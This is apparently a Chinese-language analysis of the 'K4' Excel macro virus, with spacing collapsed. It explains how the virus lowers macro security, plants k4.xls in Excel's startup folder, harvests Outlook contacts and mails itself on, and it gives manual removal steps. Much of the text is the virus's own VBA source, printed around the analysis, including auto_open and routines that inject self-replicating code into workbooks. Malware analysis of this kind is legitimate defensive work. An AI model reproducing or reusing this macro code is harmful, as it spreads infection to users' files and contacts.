")>0Thendel_frag=TrueExitForEndIfNextIfdel_frag=TrueThenSheets(del_sht).DeleteApplication.ScreenUpdating=TrueEndFunction===================小結(jié)：這個(gè)被稱為“K4”的宏病毒，主要行為是一個(gè)自我復(fù)制和傳播的過(guò)程，對(duì)Excel文件本身的系統(tǒng)沒(méi)有明顯的破壞行為。宏病毒通過(guò)修改注冊(cè)表，降低Excel的宏安全級(jí)別，使敏感代碼獲得運(yùn)行權(quán)利。如果本宏病毒未能被執(zhí)行，首次打開帶毒.xls文件會(huì)提示“禁用宏，關(guān)閉。PleaseenableMacro”信息。宏病毒被激活后會(huì)復(fù)制一個(gè)副本k4.xls到Excel的啟動(dòng)目錄里：C:\DocumentsandSettings\Administrator\ApplicationData\Microsoft\Excel\XLSTART保證個(gè)新建和打開的Excel文件都會(huì)自動(dòng)附加一個(gè)k4帶毒模塊。實(shí)現(xiàn)本機(jī)感染。也就是說(shuō)，如果這個(gè)目錄下有一個(gè)該死的k4.xls，那說(shuō)明你的機(jī)子中毒了。帶毒.xls文件在被激活時(shí)，會(huì)通過(guò)系列細(xì)膩的行為，在指定的時(shí)間里在后臺(tái)收集Outlook里的用戶地址，又在指定的時(shí)間里打包并把帶毒文件通過(guò)Outlook發(fā)送到搜集到的郵件地址里，實(shí)現(xiàn)網(wǎng)絡(luò)傳播。病毒有不少可以借鑒的地方，多處利用VBS代碼進(jìn)行文件操作，里面的代碼寫得不錯(cuò)，還用上了“正則表達(dá)式”，哇塞，偶一直想學(xué)啊。據(jù)冒死測(cè)試，該宏病毒在Win764環(huán)境下無(wú)法發(fā)揮作用，連k4模塊都不能寫入到Excel啟動(dòng)目錄。可能和Win7的安全性有關(guān)。如果本機(jī)沒(méi)有安裝Outlook，這個(gè)宏病毒顯得非常無(wú)趣。網(wǎng)上什么K4專殺工具，利用Excel.Application其它或OLE技術(shù)刪除帶毒模塊的思路貌似徒勞。一旦調(diào)用OpenFile函數(shù)，即激活了病毒，無(wú)法根除。關(guān)于這個(gè)病毒的查毒，目前還是通過(guò)更新殺毒軟件應(yīng)該去搞定吧。手動(dòng)也可以，得一個(gè)一個(gè)打開感染的.xls文件，刪除Thisworkbook里的代碼，最后一步是刪除Excel啟動(dòng)目錄里的k4.xls文件。但明顯這是件痛苦的事。如果分析有誤，歡迎批評(píng)指正PrivateSubauto_open()Application.DisplayAlerts=FalseIfThisWorkbook.Path<>Application.StartupPathThenApplication.ScreenUpdating=FalseCalldelete_this_wkCallcopytoworkbookIfSheets(1).Name<>"Macro1"ThenMovemacro4ThisWorkbookThisWorkbook.SaveApplication.ScreenUpdating=TrueEndIfEndSubPrivateSubcopytoworkbook()ConstDQUOTE=""""WithThisWorkbook.VBProject.VBComponents("ThisWorkbook").CodeModule.InsertLines1,"PublicWithEventsxxAsApplication".InsertLines2,"PrivateSubWorkbook_open()".InsertLines3,"Setxx=Application".InsertLines4,"OnErrorResumeNext".InsertLines5,"Application.DisplayAlerts=False".InsertLines6,"Calldo_what".InsertLines7,"EndSub".InsertLines8,"PrivateSubxx_workbookOpen(ByValwbAsWorkbook)".InsertLines9,"OnErrorResumeNext".InsertLines10,"wb.VBProject.References.AddFromGuid_".InsertLines11,"GUID:="&DQUOTE&"{0002E157-0000-0000-C000-000000000046}"&DQUOTE&",_".InsertLines12,"Major:=5,Minor:=3".InsertLines13,"Application.ScreenUpdating=False".InsertLines14,"Application.DisplayAlerts=False".InsertLines15,"copystartwb".InsertLines16,"Application.ScreenUpdating=True".InsertLines17,"EndSub"EndWithEndSubPrivateSubdelete_this_wk()DimVBProjAsVBIDE.VBProjectDimVBCompAsVBIDE.VBComponentDimCodeModAsVBIDE.CodeModuleSetVBProj=ThisWorkbook.VBProjectSetVBComp=VBProj.VBComponents("ThisWorkbook")SetCodeMod=VBComp.CodeModuleWithCodeMod.DeleteLines1,.CountOfLinesEndWithEnd